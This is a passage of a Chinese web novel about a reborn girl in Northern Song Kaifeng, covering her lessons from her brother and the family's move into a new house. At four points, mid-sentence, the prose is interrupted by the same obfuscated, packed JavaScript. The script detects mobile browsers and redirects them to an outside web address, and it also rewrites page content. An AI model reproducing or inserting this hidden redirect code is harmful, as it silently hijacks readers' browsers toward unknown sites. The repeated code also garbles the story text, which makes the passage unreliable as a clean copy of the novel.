这些军旅往事，皆由吴夏从祖父口中听来，他常将这些故事讲与小妹悦娘听。 这个阿爷有脑子，她心中赞许。 行伍出身的他虽不通文墨，却晓得珍本典籍、名砚古墨才是这些读书人的心头好。 这些物件于普通兵士而言不过是无用纸砚，于官场却是千金难求的雅物。 在士族把控典籍流通的年代，一部孤本经书、一方名家砚台，远比妇人妆奁里的金钗玉佩更能打动文官的心。 正如士大夫将书斋视为身份象征，那些看似素净的笔墨纸砚，实则是比金玉更贵重的“雅贵之物”，就是文人圈子里的顶级藏品，不显山露水，却暗藏千金价值。 反观妇人闺中首饰，看似璀璨，实则多有赝品，当家主母往往需变卖真品贴补家用，供丈夫购置字画碑帖充作雅好。 在这个“万般皆下品，唯有读书高”的世道，装点书斋的风雅，远比妇人头上的金珠更能彰显门庭地位。 可惜了，她心中长叹，她阿爷还是缺点运气，赏识他的将领在北伐中殒命，正值壮年的他又在乱战中伤了左臂，不得不退居后勤，掌管军资调度。 相较之下，父亲的际遇却颇有些峰回路转：虽说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609419|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被轮换至西北与西夏对峙，却恰好避开了三川口、好水川两场全军覆没的恶战。他所在的景泰军看似是被边缘化的杂牌部队，却以五千兵力打出了庆历二年唯一一场野战大捷，在宋夏战局中硬生生撕开一道缺口。 刚刚被她爹带着先一步来了新家，她一路缠着缠着问了好多问题：为什么要搬家？哥哥读书怎么办？是不是爹爹升官了？她爹虽未明言，却难掩眉梢喜色。 见兄长抱着书箧进门，吴悦立刻化身小尾巴，亦步亦趋地跟在正整理书牍的吴夏身后。她默不作声，乌溜溜的眼睛只顾盯着哥哥的动作——吴夏在擦拭书橱上层的经籍时，她便蹲下身规整下层的草稿纸；待哥哥打了盆清水，用软布轻拭多宝槅子上的陶俑、奇石与微型兵器模具，她又蹬蹬蹬跑去取来一块小绢帕，半跪着擦拭多宝槅旁的圆形花几。 这花几生得别致：三弯脚曲线夸张，几面略高，正中央摆着一盆盛放的豆绿，青绿色花瓣层层叠叠，在日光下煞是清雅。 吴夏瞧得心惊肉跳，生怕那比妹妹脑袋还大的花盆不慎‘啪’一声地掉在这小丫头脑袋上，他养那么大的一个妹妹可就没了！ 搁下手中的抹布，吴夏将小丫头轻轻抱上圈椅，与她并坐在乌木书案前，翻开案头《尚书-舜典》，打算从上次未讲完的段落继续。 他一个刚及弱冠的少年，本就不通蒙学之道。虽说自己当年是从《千字文》《百家姓》《蒙求》开蒙，但那些堆砌字句的课本实在乏味，儿时被夫子戒尺责打背诵的记忆仍历历在目。 索性抛开蒙学教材，直接依照自己在县学的功课，将教谕先生讲解的《尚书》《论语》等篇章，拣选浅近者讲与妹妹。 其实他在甲班学业渐趋疏懒，课堂上不过敷衍听讲，下课后便窝在学舍读些野史——若不是每逢旬假、寒食、冬至归家，被妹妹缠着追问“今日学了什么”，怕是连“良”等课业都难以维持。未曾想这般兄妹间的问答往来，反倒让他对学业生出几分兴味，还因为教会了妹妹带来了极大的满足感，甚至也对学堂上学习的内容理解更深了。 如果按照现代儿童教育实践来理解，这就是当孩子重述所学内容，能有效提升学习兴趣并加深理解，这主要基于自信与成就感的增强、促进了知识内化、又提升表达能力，锻炼了思维能力。 吴悦一个心智成熟的成年人，理解和接受能力很强。 她出生前，大姐丽娘已及笄出阁，未满三岁，二姐绮娘亦嫁作他人妇，没有其他姐妹可以对比借鉴。来自后世的她也没觉得像男子一样学习《尚书》有什么问题。 至于吴夏，他俩姐姐学什么他怎么知道那个时候他还在满院子撵鸡赶狗呢。 他们兄妹俩人，吴夏从未想过“女子不该读《尚书》”，吴悦也未觉得“跟着哥哥学经义”有何不妥。一个敢教一个敢学，浑然不觉此举已悄然逾越了性别的樊篱。 5. 第 5 章 仁宗朝虽未如后世程朱理学般构建严密的女性规训体系，但女性教育仍被限定在“闺阁之内”：平民女子多以口传心授习持家之技——母亲或祖母会借“孟母教子”“乐羊子妻断机”等典故阐释妇德，伴以《采茶歌》《织妇怨》等民谣传授农桑知识；女童五六岁便随长辈学纺线织布、裁衣售绣，在实践中掌握量布算帐、料理家务的生存技能。 高门闺秀的启蒙则从《千字文》《百家姓》始，继而临摹卫夫人《笔阵图》研习楷书。宋代女训强调“字迹端丽以示端庄”，故禁习狂草等放诞书体。诗词教育侧重唐诗中咏物、抒怀之作，如王昌龄《采莲曲》、李益《江南曲》，但需剔除李白《妾薄命》、杜甫《兵车行》等涉及男女情爱或政治讽喻的篇目。 算术学习以九章基础为纲，着重训练钱粮出入、田亩换算，为日后“主中馈、理庖厨”做准备。 至于“四般闲事”，实为高门女子的“社交必修课”。 按洪刍《香谱》调配“篆香”“印香”，于晨昏诵读时熏燃；依蔡襄《茶录》研习“七汤点茶法”，在茶沫击拂中讲究“色泽鲜白、汤花匀细”；插花必遵“清、疏、淡、雅”之则，如以梅枝配雪柳插于胆瓶，或用竹篮盛菊置于香几；挂画多选山水小品或圣贤像，与焚香、点茶、插花共构“闺阁清供”，既为修身养性，亦作宴客时的雅趣谈资。 少数士族门阀的女子，尚可接触有限的典籍与技艺。 如聘画师教授《宣和画谱》中的白描技法，临摹花鸟草虫；或如司马光家中女眷，可在族内女塾中翻阅《资治通鉴》，但仅限“后妃列传”与“贤母教子”等篇章——这已是当时女子能触及的“最高级历史读物”，美其名曰“借古鉴今以修妇德”。 ------------------------------- “象以典刑，流宥五刑，鞭作官刑，扑作教刑，金作赎刑。眚灾肆赦，怙终贼刑。钦哉，钦哉，惟刑之恤哉！” 吴夏以朱笔圈点《尚书》句读，先正襟危坐地诵读两遍，继而逐字拆解：“‘象以典刑’，是说将五刑之形绘于器物以示警戒；‘流宥五刑’，指用流放宽宥应受五刑之人……”他刻意放缓语速，将佶屈聱牙的上古汉语转译为汴京官话，末了总结：“此段讲的是舜帝制定刑罚，强调量刑要审慎，对过失犯罪可赦免，对惯犯则严惩。” 这种“注音—释义—串讲”的三步法，已是兄妹间默认的教学范式。 吴悦曾半真半假地抱怨“讲课像念天书”，吴夏便依照县学里教谕讲解策论的法子，自创了这套通俗化教法。待妹妹复述完大意，吴夏又把学堂上教谕先生问他们的问题，也拿了出来。 教谕便是主持县学教务，讲授儒家经典（以《五经》《论语》《孟子》）的老师。县学还设有训导一职，来协助教谕管理学生纪律，监督日常礼仪。 北宋很重视文教，县学作为地方最高官方教育机构，对教师选拔也颇为严格，需要至少通过解试（州试）获得举人身份，但实际多由进士出身者（也就是殿试）担任，且会经过正式的朝廷任命，经由礼部核准后，由吏部签发“教谕牒”。 杰出教谕可转任县丞、主簿等职，朱熹就曾任同安县主簿兼县学教谕。优秀者还会被调入国子监为学官，比如二程中的程颢曾任鄠县主簿兼教谕，后升国子监太子中允。 而南阳历属大郡，其地自西周时属荆州，号“周土”。春秋为楚宛邑，为全国著名的冶铁中心。战国后期为秦所占据，秦昭王初设南阳郡。秦始皇统一六国之后，“迁不轨之民于南阳”，使六国富豪和擅长经营的商人及手工业者云集南阳，促进了南阳经济的发展，尤其冶铁业，成为全国冶铁中心。 东汉时更盛极一时，光武帝刘秀起兵南阳，被称为“帝乡”，二十八功臣中竟有十一人出自此间。 “娶妻当得阴丽华”的光烈皇后阴丽华，为春秋时期名相管仲的后裔。东汉“六后临朝”中的最贤者，被史学界誉为“皇后之冠”，时人颂曰“兴灭国，继绝世”的和熹皇后邓绥也出生于此。 因此南阳县学的配置十分豪华，吴夏口中的教谕先生，石擎，字沐阳，是景祐二年进士出身，为“泰山学派”创始人，徂徕先生石介的族弟。 他一向对这位沐阳先生很是追崇，对方会在讲解完经典后，结合时政问他们如何看待。也会拿出各县衙真实案件，命生员据律条拟判，再逐一批驳辨析。此等将经典义理与实务结合的教法，在偏重记诵的县学中堪称独树一帜。只要日课排到这位教谕，吴夏必定是心无旁骛、全神贯注。 望着妹妹亮晶晶的眼睛里泛着求知的光，吴夏沉吟道：“上月前参知政事、资政殿大学士、以太子少傅致仕的李若谷李公薨逝，如今朝堂正议追赠官阶与赐谥之事。有御史言李公在任时用法严苛，哪怕小过亦重罚不贷，全无儒家‘仁恕’之风，反类汉之郅都、唐之来俊臣等酷吏，故主张停追太子太傅之衔，且‘康靖’二字谥号亦需重议。” 参知政事？吴悦心中一惊——这可是与同平章事、枢密使并称“宰执”的要职！ 李若谷，字子渊，真宗咸平三年进士，历仕真宗、仁宗两朝，早年任京东路转运使，后以刑部员外郎知江宁府，因善断疑狱著称。宝元元年（1038）拜参知政事，与宰相吕夷简同议国政，三年后以耳疾乞退，罢为资政殿大学士、吏部侍郎，以太子少傅致仕，居东京私第凡三载，今春薨于正寝。 在宋太祖赵匡胤时，为分割宰相权力，故在宰相，也就是同平章事下设参知政事，为宰相的副职，可以进入政事堂议政，有时候的实际权力大致等于宰相。资政殿大学士就是一种荣誉性的职衔，授予辞职的宰相或者其他重臣，为皇帝询问朝廷的一些重要事务提供咨询和建议。 吴悦小身子倏地坐直，乌溜溜的眼睛紧盯着兄长的下文。 “他们给的理由是，李少傅在担任潭州知州时处理水贼过于血腥，全然不顾儒家仁政、爱人之训。” 曾经有这么一个水贼在洞庭湖附近抢劫船只，杀人后又抛尸湖中。被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609420|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捕获后，本应判处死刑，但最终只是脸上刻字发配外地。结果没多久，这个水贼逃了回来，继续作恶，且更加嚣张，令周边百姓胆战心惊，白日都不敢出门。李若谷派人将其抓获，召集百姓前来观刑，列明罪状后当街将他分【尸】。 “李太傅又没做错！”吴悦捏起小拳头，小脸蛋被气的红扑扑地。“那个水贼杀人还抛尸，本来就该受极刑，被从轻发落了还不悔改。居然还敢再度回来作恶，如果这次再放过他！谁知道下一次他又杀的是谁！‘眚灾肆赦，怙终贼刑’，不就应该适用在这个人身上吗？这种终不悔改者，绝对不能再放过！” 她在现代就最烦那些动辄替受害者原谅加害者的“圣母”。这类人擅长用道德绑架他人，将“原谅”美化成至高无上的美德，要求受害者必须具备这种“高尚品质”，甚至把“不原谅”等同于心胸狭隘。 她不行，有仇不报，心魔难消。与其委屈自己，不如直接发疯。 吴夏却被妹妹这一番高亢激昂的话惊得愣住了。乖乖，他印象里乖巧可爱的妹妹哪儿去了？难不成原本竟是个藏着利爪的小母虎？ 气氛有些微妙。 不好。 吴悦也意识到自己刚才那番话远超出5岁孩童的口吻，立刻开始补救。她抿着嘴挤出哭腔，奶声奶气道：“我、我就是害怕……那个坏人被流放后要是跑到咱们家，把悦娘偷走扔进湖里可怎么办？娘说女孩子不能下水，悦娘不会游泳，掉进去会被淹死的，就再也见不到爹娘、姐姐和哥哥了……”说着说着，眼眶真的泛起水光，吧嗒吧嗒落了几滴眼泪。 吴夏无奈叹气，将妹妹抱进怀里，轻轻拍着她的后背安抚：“别怕别怕，哥哥和爹爹都会武艺，而且悦娘现在可是在东京城，这可是天子脚下，有官家坐镇，再是安全不过了。” 放屁。 吴悦只能在心里骂骂咧咧，再过些年，金兵都能杀进东京城，那可是遍地尸骸，残垣断壁。 不过她那时都八十好几了，活到这把年纪若再遭此劫难，倒不如一头撞死算了。 但是不可以！她大姐姐刚怀上二胎，这个蠢哥哥过几年也要结婚生子。 那她还是选择金兵还有那些煞笔官员死！ 吴夏隐约觉得妹妹嘟囔了些什么，却没听清。 正侧耳细听时，怀中传来闷闷的声音：“那最后李少傅的事怎么说了？” 吴夏松了口气，看来是不哭了。“在欧阳大人与杜大人据理力争下，李少傅被追封为太子太傅，谥号康靖。” 哦，六一居士欧阳修和倒霉蛋‘百日宰相’杜衍啊。 “他们是好人。”吴悦嘟囔着。就是《醉翁亭记》太长了，背着头疼。 吴夏点头赞同，他一个武官之子，爷爷和爹爹干的都是刀尖上舔血的营生，浑身带着江湖草莽气，压根不觉得当街分个尸是个什么大事。 “两位大人自然是朝中大贤。” “书本合上，我们该练字了。” 他决定进入下一项课程。 6. 第 6 章 夜幕渐渐低垂。 前院之中，待三辆牛车上的物品全数卸下，众人只将急用的日常用品和被褥先行妥善收进各房，剩余物件暂摆在侧厅，留待明日再做整理。 刘耘娘唤路伯取来十几贯钱，递给三名车夫作为车资，又差路与去寻水夫买水。她刚想喊青枣陪自己出去购置些吃食，忽闻敲门声起——来者是附近正店的伙计，提着两大箱食盒上门送饭。 原来大女儿丽娘早料到刚迁入新居尚未开灶，特意订了三日的午膳与晚膳。 刘耘娘让伙计将食盒提至饭厅，又命人把路上剩下的炊饼取出，这才转身往后院去。她先到上房请了婆母，让王婆搀扶着前往饭厅；再往东厢房寻女儿未果，便径直来到儿子书房，只见女儿正伏在案前，在哥哥的指点下练习大字。 “悦娘这般勤学，日后怕要嫁个进士老爷呢。” 耘娘抱起小女儿，随意瞥了眼书案上刚写就的、墨迹尚未洇干的几个大字，她虽不大懂书法，却觉得横竖撇捺皆合心意。 这般调侃远超五岁孩童的理解，吴悦只得奶声奶气地仰头追问：“什么是进士？” 得到的却只是亲娘和亲哥的哈哈大笑。 “那我也努力读书，广结饱学之士，趁早给悦娘挑个好郎君。”吴夏望着妹妹笔下初具模样的颜体字，颇为自得。起笔藏锋、收笔顿挫皆有章法，到底是他手把手教出来的。 仁宗朝官吏多爱雄浑刚正的颜体，其筋骨端正暗合儒家“浩然之气”，县学夫子亦要求学子临习颜真卿法帖，谓其于科举有益。 吴夏虽生性粗放急躁，却独爱搜罗闲书野史，每逢妙趣章节必工笔抄录，结集成册。他对自己的“珍藏版”苛求至极，稍有结体松散或线条浮滑之处，便撕毁重写。这般精益求精，竟让他硬生生磨出一手端方的颜体字，与脾性形成奇妙反差。 夏小郎对他妹妹悦小娘的教导在这里又劈叉了。 按常理，女子习字当效法卫夫人的秀逸楷书，他却将她引向了朝堂重臣惯用的、方正雍容而庄重大气的台阁体。 吴悦倒也没觉得有什么不对劲的地方，她还以为形容女子书写时的蝇头小楷，笔致娟秀，就是把字写小点，从16号字体改成11号字体。 作为武夫之后，夏小郎这一辈才算开了读书的路子。他既不受礼教纲常的束缚，也不拘泥于文坛规训，打心底里觉得：自己能学的妹妹也能学，自己敢做的妹妹也能做。这般念头埋下后，竟成了兄妹间心照不宣的默契。 只怕日后，妹妹要去秦楼楚馆一探究竟，他便替她乔装改扮；妹妹想骑马打猎，他便牵马执鞭随行；哪怕妹妹闹出杀人埋尸的事，他也只默默清扫痕迹，半句“女子该逆来顺受、淑质贞亮”的废话都不曾劝过。 大可不必，你还不如是个天生将才，能打穿草原的那种，现在看来也没这个天赋，吴悦只能默默腹诽。 可惜，就算她哥是卫青，也必须通过裙带关系抱着宋仁宗的大腿去打战，纵有千般谋略，也难敌朝中“无兵可调、无粮可支、无钱可拨”的困局。 何况如今并非东汉末年或五代十国的乱世，哪里来的人和地盘让她发展。 ------------------------------------------ 刘耘娘将两个孩子从书房唤出，在丈夫面前大大夸赞兄妹二人兄友妹恭，尤其着重提及儿子立志发奋读书，称“日后要让妹妹从自己的挚友中任选佳婿”的志向。 这番话让吴父不禁认真端详起两个孩子：尤其是小女儿眉间已隐隐透露出三分灵慧之气，恰似明珠初露微光，令他心中暗忖起女儿的未来。 被她爹看得有点毛毛的，吴悦忙回以甜甜的微笑，头一扭便坐到饭桌前，装作饿得狠了，拽着青枣的袖子撒娇要糕点吃。 吴家一家五口，加上管家路伯、儿子路与，还有王婆与青枣，一同享用了在东京城的第一顿晚餐。 路伯年轻时是个无父无母的小乞丐，听闻军营管饭便摸去了驻地，恰巧被吴老爷子撞见，便将他收留照顾。那时吴老爷子在书房里收刮珍宝，他便在门外站岗守护，只听他吴大哥一人的话。 后来征讨契丹，路伯不慎被战马惊踏，多亏吴老爷子从马蹄下将他救起，自己却断了一条胳膊。 经此一劫，路伯对吴老爷子死心塌地，成了吴家的管家。 吴温老爷子去世后，吴军常年在西北驻防，家中妇孺全靠路伯带着儿子在外奔走照应。 王婆是刘耘娘从娘家带来的老妇，原是吴悦外婆的陪嫁。 当年吴悦的外公停妻再娶纳了妾室，又嫌吴家乃武人出身，不愿给女儿添妆，便将王婆的身契交还给了刘耘娘。青枣则是王婆弟弟的孙女，因家中女孩众多难以糊口，自小就被送到吴家抚养。 今夜膳席上俱是至亲旧人——乡野人家本就没有主仆不同席的规矩。 所谓“独木易摧，众木成林”，与高门士族一样，市井小民亦有应对风险的生存智慧。这是历经五代十国连年战乱，在烽烟中锻造出的庶民存续之道：黄发垂髫共饮一井水，青壮妇孺同守三尺垣。 吴悦人小胃口窄，只吃了半碗桐皮熟脍面，再添两块枣糕，小肚子便鼓得溜圆。 她搁下汤匙，眼神直勾勾地望着对面几个男的手握瓷盏斟满清酒，觥筹交错之中，欢声笑语不断，时不时还手捏了块桌上的按酒。 所谓“按酒”，就是北宋饮酒时必配的小菜，一般都是些肉干、果脯、腌菜。 吴悦盯着父亲盏中晃动的酒液直咽口水，也想浅尝一口，试试酒精浓度，却被她娘以为她口渴，喂了口紫苏饮。 吴王氏毕竟上了年纪，经此长途跋涉，食欲难免不佳。她仅喝了半碗粟米粥，便以手示意先行退席。青枣见状，忙不迭起身搀扶着老夫人回房服侍。 酒酣耳热间，女眷已陆续离席。刘耘娘催着小女儿去歇下，自己看着丈夫与儿子仍在席间谈兴正浓，便由着他们去了。 待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609421|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几人终于喝的是酩酊大醉，刘耘娘带着王婆才得以收拾狼藉的膳桌，又绕院落巡查了一圈。从倒门房路伯父子的居所，都一一过问是否有缺漏之处。 待诸事妥当，这才返回后院。先至婆母房前内看了看，又往东厢房查看女儿是否已安睡，最后到西厢房叮嘱儿子明日卯初起身，随她出门采买家用。 月已当空时，她才拖着疲累的身子回房。 一进屋便闲不住，将丈夫的旧衣按季候分门别类叠好收进柜中。忽的想起什么，转身向侧躺在床榻上醒酒的丈夫问道：“官人，这宅子究竟租了多少银钱？” 吴军闻言大笑，得意地摩挲着络腮胡，眉峰一挑：“娘子，这宅子咱们可是买下来的，并非租赁。” 刘耘娘听罢大惊，这可是两进的宅院！丈夫如今不过是正七品的指挥使，按官制，唯有正六品以上武官方能居住两进院落，此等门屋规格已是明显逾制。若说租赁尚可敷衍，若是购置，在这天子脚下难免招人侧目。 在仁宗朝，像吴军这样的禁军指挥使，俸禄由月俸、职田与朝廷赏赐构成。月俸为30贯铜钱，另可支取5顷职田（约合500亩）的租税收益，年总收入折铜钱约600至800贯。相较之下，普通禁军士兵月俸仅1贯，而从五品的都指挥使年俸可达2000贯以上。因当时铜钱短缺，民间实际流通中“一贯”仅合770文，并非足值千文。 此时东京城的物价：米价约1贯/石（每石重59公斤），羊肉100文/斤，猪肉60文/斤，普通绢帛1.5贯/匹，高档丝绸则需5贯/匹。而内城一套普通住宅，售价至少5000贯。 “你莫不是把公公留下的那些珠宝典卖了？”想到这个可能，她猛地放下手中衣物，转身用力捶了下丈夫的肩膀，“那是咱们说好给孩子们留着办嫁娶的！” 吴温老爷子当年可是打过不少硬仗，尤以南唐一役斩获颇丰。 南唐国力富庶，后主李煜投降后，宫中所藏珍宝——诸如澄心堂纸、李廷圭墨（与龙尾砚、诸葛笔并称“文房四宝”，为南唐至北宋的御用贡品），及国库内二百万两之巨的金银财货，皆被清点后分船运往东京，纳入皇家内藏库。 史载装运时舟船盈河，往返数趟方得运完。 虽说北宋承袭五代《军资库法》，明令战场缴获须尽数上缴中央军资库，严禁私留，更有律法规定“诸军人从军私留财物者，一尺杖八十，一匹加一等”，但金陵城破时，“士卒怀挟珠玉者不可胜计”，事后竟无一人被军法论处。 吴温素性机敏，早防着身边监军的耳目。攻入南唐皇宫那日，他故意大剌剌抓了几锭官银悬于腰间，任人看见，实则早与路伯备下双层束带行囊，将精选的玉器字画贴身裹于腹前，外覆厚重甲胄。每逢用餐便多揣两个炊饼塞在怀里，久而久之，同袍见他腰腹浑圆，只道是军粮充足养胖了。 待战事稍歇，他又以“回乡完婚”为由告假，实则是要将这些私藏的珍宝捎回老家，交与吴寡妇收存。 7. 第 7 章 “确实卖了一个大珍珠，不过那是你本来打算留给咱们未来儿媳的，给悦娘的我可没卖！” 吴军连连摇头，赶忙细细向媳妇算起这笔账。 跟随景泰对战西夏时，他们斩首千余级，打了当年唯一的胜仗。 自宋太祖起，按“先登者赏钱百贯，斩首一级赏钱十贯”的标准犒军，加上回京后仁宗额外的赏赐，这一场战役就足足拿了1200贯。本来不卖那颗珍珠也够，但新宅要置办家具，手头就捉襟见肘了。 刘耘娘却觉得珍珠卖了就卖了，反正离儿子成亲还早，这几年他们再加把劲，多存些银钱便是。 给小女儿留的那只绶带鸟穿花纹金手镯和掐丝镶玉嵌宝金簪，可是万万卖不得的——这种工艺，如今在市井中可是价值千金，给悦娘出嫁时压箱底正合适。 “这个宅子也是卖家卖得急，又恰与咱们大女婿相熟，我这才没顾上与你商量，就把珍珠在潘楼出手了。”吴军忙活整日已显困顿，不愿多言，径自起身吹熄烛火，一沾枕头便鼾声如雷。 刘耘娘本欲问丈夫官职迁升之事，见他这般模样只得作罢。 她侧躺于床内侧，心中默默盘算明日要务：先让王婆收拾厨房，差路与去采买柴薪，总得备些热水用度；再遣人往大女儿家送信，告知女婿与亲家入京安好，只是家中尚未整肃，待安顿停当便登门拜访。 带着初到异乡的一丝不安，及对新生活的殷切期盼，耘娘很快坠入梦乡。 ----------------------------------------- 辰时三刻，青瓦檐角犹自凝着未晞的晨露，吴宅上下已早早起了劳作。 吴悦不过五岁女童，尚不及成人膝头高，稍不留神便不知卷到何处去了。为防她今日磕碰受伤，刘耘娘特意将她关在房内。 “量你有张良计，我自有过墙梯。” 踩着榆木矮凳攀上屋内花窗，靛蓝裙摆蹭得雕花窗框簌簌落灰，吴悦却浑不在意。她指尖紧扣缠枝莲纹的窗棂，像只执着的小松鼠般向外张望。 昨日先行抬至侧厅的木箱，此刻正横七竖八堆放在后院，箱盖全开以便清点物品。青枣手持搬家时誊录的清单，正逐件核对。 搬家放在现代都是一件麻烦事，更不要说古代。 古代家庭的物品数量多且种类杂，桌椅床榻、衣衫布帛、典籍文玩、日用杂物皆需搬运。偏生又没有现代的搬运工具，木箱都需要提前手工制作，木料厚重坚实，单是空箱便需两人合抱。 装箱时更要逐件细裹：易碎的瓷盏以棉帛层层缠绕，再衬以稻草塞入箱底，书籍信函则用布囊分类收束，以防受潮虫蛀。这般耗力费时的活计，稍有不慎便会遗漏破损，是以必得造册登记，方便日后逐件清点。 路伯正指挥两名雇来的精壮仆役，合力抬一口四尺长的柏木大箱。 “脚下留神！箱里可是汝窑的青瓷！”他的嗓音带着晨起的痰音，布满老茧的手掌虚虚护在木箱边角，生怕磕着碰着。 这套瓷器吴悦还记得，箱中那套青瓷里，有只碟盏是她幼时失手磕碰过的，边缘还留着一道细如发丝的裂痕。 那时的物件，传个三代实属寻常。一来用料讲究，全赖匠人手工细磨，不像后世多有以次充好；二来即便生产工具日益精进，也鲜少有人将旧物随手丢弃。 坏了便扔、淘宝下单的做派，在此时简直不可想象。现代人反倒美其名曰"计划性报废"，声称耐用之物会让消费者停止购买，唯有推陈出新才能拉动内需，因此总是会给你留一些小瑕疵，让你不断购买去迭代升级。 但在古代——椅子腿断了？要劈了做柴？简直败家！寻个木匠修缮便是。 碗破了？补补照样能用。什么？你嫌破碗晦气，说是什么"乞丐用的"，难不成还真把自己当贵家公子了？ 古时的工匠，也的确是精益求精，她兄长吴夏就曾在一家旧货摊上购买墨锭。 摊主的祖父据传是吴越国时期的老墨工，老人颤巍巍捧出祖传的捣墨锤，自豪道：“这是五代十国时先祖传下的手艺，您瞧这墨锭收在木匣里能存百年不褪色，够您孙子辈使呢！” 吴夏被这番营销说辞打动，不仅买了两块，还特意替妹妹存了一块，说留待她日后抱孙时用。 百年的墨锭这也不是虚假宣传，不少士族文人的端砚上积着层层墨垢，最底层的墨痕竟能追溯至唐代。这些雅士以使用李白、杜甫等先贤曾用的旧墨书写为幸事，仿佛透过斑驳墨渍，便能触摸到跨越千年的文运传承，也能成为下一个诗仙。 只是不知，墨肆老板面对积压的新墨时会如何发愁，作坊里熬制松烟墨的桐油即将干结，新制的墨锭却无人问津。 刘耘娘在卧室内指挥王婆往樟木箱底铺撒香樟木屑，将冬季衣裳按夹棉、厚缎、皮裘的厚薄，叠成方正的绢包依次码放整齐。她从红绫裹了三层的珠宝盒里取出耳饰珠钗，一一归置到妆台抽屉，连胭脂水粉都用浸过蜡的桑皮纸仔细封裹，才放进朱漆妆匣。 “怎么少了箱中的春衫？快去叫青枣再寻一遍。”她捏着一匹江宁府锦缎叮嘱，“这料子得单独收在紫檀柜里，过两年给悦娘裁衣裳正合适。须得常翻晒，莫让虫蛀了或着了霉斑……” 话未说完，外院忽有刀刃轰然坠地，铁刃与青石砖相击迸出火星，惊得墙头野狸猫“喵”地一声逃窜跑开。 前院西角腾出来的空地上，两名身穿普通禁军兵卒军服的士兵正合力搬运一重达几十斤的兵器架，其中一个踉跄不稳，十几斤重的手刀轰然坠地。 原来吴父早早就去了军营，唤辖下士兵将自己常用的手刀和弓箭和靶心等一众物品从营地兵器库搬回家中，他虽然并不打算让独子从武，但是强身练体还是应该的。 "指挥使恕罪！"摔倒的小兵连忙爬起身，拾起地上的马刀，见刀炳处缠着的牛皮绳染着褐色血渍， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609422|172133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背后顿时又起了一身冷汗。 吴军扫了小兵一眼，未作苛责，单手提起重达三十斤的马刀，手腕轻旋挽出个刀花，只听“铮”的一声便将刀身稳稳磕入兵器架的铜扣中，这才沉声道：“把架子抬去西墙根，立好箭靶便回营吧。” 以近午时，阳光掠过前院，马刀和弓羽在青砖上投下交错的阴影。 吴夏今日也在帮忙整理物品，蹲在墙角收拾散开的箭羽，忽然发现某支箭的箭镞上凝着褐色血渍。他抬起头望向站在兵器架旁的父亲，耳畔似乎传来铁马嘶鸣，恍惚中还能看到父亲在战场上冲锋陷阵，闻到铠甲缝隙间渗出的丝丝鲜血的腥味。 吴军被儿子眼中明晃晃的仰慕刺得心头一热，顿时洋洋得意起来，挺了挺大肚子，还想把马刀拿下来再挥舞个刀法，收获点掌声时。突然又想到了武官被人歧视的地位，想到了他堂堂一正七品，还要向正九品的文官行礼，刚扬起的嘴角又耷拉下来。到嘴边的话也变成了“日后还是要以读书为主，射箭骑马只是让你强身健体。好了，别收拾了，回你的房间读书吧。” 他长叹了口气，背着手，转身进了前厅。 吴夏也沉默了下来，手指无意识地摩挲着那支带血的箭镞，他现在已经不是小时要哭闹着要随父一起征战的稚童，了解父亲身为武将的心酸，因此朝着父亲的背影行礼，将箭镞拿在手中，也回了书房。 酉时末刻，最后一缕夕阳将东厢房的窗棂染成琥珀色。 吴悦这时才得到恩准，被青枣从屋子里放了出来，迈着小短腿踢踢踏踏往库房跑。 已经腾空的木箱按尺寸高低码成整齐的方阵，铜扣泛着幽光，像夜空里疏密有致的星子。最里侧的墙角处，还有俩个箱子未被打开，上面贴着两张封纸，"悦娘的宝贝"，正是她自己稚嫩的笔迹。 这是从老家带来的赚钱的好东西，是得到一千年时间验证的人类智慧的结晶！不过她娘认为，这就是一些破烂。要不是她又哭又闹，地上连番打滚，东西早被扔了。 她女儿蹲在木箱前，小手掌郑重其事地拍了拍箱盖。这里藏着她磨了哥哥半个月才从书肆淘来的"宝贝"，最底下压着两卷被翻得卷边的书籍：一卷是贾思勰的《齐民要术》，另一卷是张仲景的《伤寒杂病论》。 